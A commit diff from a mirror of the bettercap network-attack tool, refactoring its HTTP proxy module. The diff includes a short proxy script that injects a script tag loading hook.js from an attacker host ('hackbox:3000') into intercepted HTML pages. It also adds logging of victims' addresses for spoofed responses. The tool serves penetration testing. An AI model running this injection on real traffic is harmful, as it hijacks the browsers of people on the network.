mirror of
https://github.com/bettercap/bettercap
synced 2025-07-14 09:03:39 -07:00
refact: several fixes and optimizations to the proxy
This commit is contained in:
parent
98d1a028ed
commit
7248dd701a
3 changed files with 28 additions and 13 deletions
|
@ -3,7 +3,14 @@ function onLoad() {
|
||||||
}
|
}
|
||||||
|
|
||||||
function onResponse(req, res) {
|
function onResponse(req, res) {
|
||||||
if( res.ContentType.indexOf("text/html") == 0 ){
|
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||||
res.Body = res.ReadBody().replace( "</head>", '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' );
|
var body = res.ReadBody();
|
||||||
|
if( body.indexOf('</head>') != -1 ) {
|
||||||
|
res.Body = body.replace(
|
||||||
|
'</head>',
|
||||||
|
'<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>'
|
||||||
|
);
|
||||||
|
res.Updated();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -9,6 +9,7 @@ import (
|
||||||
|
|
||||||
"github.com/elazarl/goproxy"
|
"github.com/elazarl/goproxy"
|
||||||
|
|
||||||
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
"github.com/evilsocket/bettercap-ng/firewall"
|
"github.com/evilsocket/bettercap-ng/firewall"
|
||||||
"github.com/evilsocket/bettercap-ng/session"
|
"github.com/evilsocket/bettercap-ng/session"
|
||||||
)
|
)
|
||||||
|
@ -25,6 +26,16 @@ type HttpProxy struct {
|
||||||
script *ProxyScript
|
script *ProxyScript
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (p HttpProxy) logAction(req *http.Request, jsres *JSResponse) {
|
||||||
|
fmt.Printf("[%s] %s > '%s %s%s' | Sending %d bytes of spoofed response.\n",
|
||||||
|
core.Green("http.proxy"),
|
||||||
|
core.Bold(strings.Split(req.RemoteAddr, ":")[0]),
|
||||||
|
req.Method,
|
||||||
|
req.Host,
|
||||||
|
req.URL.Path,
|
||||||
|
len(jsres.Body))
|
||||||
|
}
|
||||||
|
|
||||||
func NewHttpProxy(s *session.Session) *HttpProxy {
|
func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||||
p := &HttpProxy{
|
p := &HttpProxy{
|
||||||
SessionModule: session.NewSessionModule(s),
|
SessionModule: session.NewSessionModule(s),
|
||||||
|
@ -51,7 +62,6 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||||
}))
|
}))
|
||||||
|
|
||||||
proxy := goproxy.NewProxyHttpServer()
|
proxy := goproxy.NewProxyHttpServer()
|
||||||
|
|
||||||
proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
|
proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
|
||||||
if p.doProxy(req) == true {
|
if p.doProxy(req) == true {
|
||||||
req.URL.Scheme = "http"
|
req.URL.Scheme = "http"
|
||||||
|
@ -65,9 +75,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||||
if p.script != nil {
|
if p.script != nil {
|
||||||
jsres := p.script.OnRequest(req)
|
jsres := p.script.OnRequest(req)
|
||||||
if jsres != nil {
|
if jsres != nil {
|
||||||
log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), req.RemoteAddr)
|
p.logAction(req, jsres)
|
||||||
resp := jsres.ToResponse(req)
|
return req, jsres.ToResponse(req)
|
||||||
return req, resp
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return req, nil
|
return req, nil
|
||||||
|
@ -77,8 +86,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||||
if p.script != nil {
|
if p.script != nil {
|
||||||
jsres := p.script.OnResponse(res)
|
jsres := p.script.OnResponse(res)
|
||||||
if jsres != nil {
|
if jsres != nil {
|
||||||
log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), res.Request.RemoteAddr)
|
p.logAction(res.Request, jsres)
|
||||||
res = jsres.ToResponse(res.Request)
|
return jsres.ToResponse(res.Request)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return res
|
return res
|
||||||
|
|
|
@ -76,7 +76,6 @@ func (j *JSResponse) ReadBody() string {
|
||||||
}
|
}
|
||||||
|
|
||||||
j.Body = string(raw)
|
j.Body = string(raw)
|
||||||
j.Updated()
|
|
||||||
|
|
||||||
return j.Body
|
return j.Body
|
||||||
}
|
}
|
||||||
|
@ -153,7 +152,7 @@ func (s ProxyScript) resToJS(res *http.Response) *JSResponse {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse) {
|
func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) {
|
||||||
jsreq := s.reqToJS(req)
|
jsreq := s.reqToJS(req)
|
||||||
if err = s.VM.Set("req", jsreq); err != nil {
|
if err = s.VM.Set("req", jsreq); err != nil {
|
||||||
log.Errorf("Error while defining request: %s", err)
|
log.Errorf("Error while defining request: %s", err)
|
||||||
|
@ -169,7 +168,7 @@ func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *ProxyScript) doDefinesFor(res *http.Response) (err error, jsres *JSResponse) {
|
func (s *ProxyScript) doResponseDefines(res *http.Response) (err error, jsres *JSResponse) {
|
||||||
jsreq := s.reqToJS(res.Request)
|
jsreq := s.reqToJS(res.Request)
|
||||||
if err = s.VM.Set("req", jsreq); err != nil {
|
if err = s.VM.Set("req", jsreq); err != nil {
|
||||||
log.Errorf("Error while defining request: %s", err)
|
log.Errorf("Error while defining request: %s", err)
|
||||||
|
@ -191,7 +190,7 @@ func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
|
||||||
s.gil.Lock()
|
s.gil.Lock()
|
||||||
defer s.gil.Unlock()
|
defer s.gil.Unlock()
|
||||||
|
|
||||||
err, jsres := s.doDefines(req)
|
err, jsres := s.doRequestDefines(req)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Errorf("Error while running bootstrap definitions: %s", err)
|
log.Errorf("Error while running bootstrap definitions: %s", err)
|
||||||
return nil
|
return nil
|
||||||
|
@ -217,7 +216,7 @@ func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
|
||||||
s.gil.Lock()
|
s.gil.Lock()
|
||||||
defer s.gil.Unlock()
|
defer s.gil.Unlock()
|
||||||
|
|
||||||
err, jsres := s.doDefinesFor(res)
|
err, jsres := s.doResponseDefines(res)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Errorf("Error while running bootstrap definitions: %s", err)
|
log.Errorf("Error while running bootstrap definitions: %s", err)
|
||||||
return nil
|
return nil
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue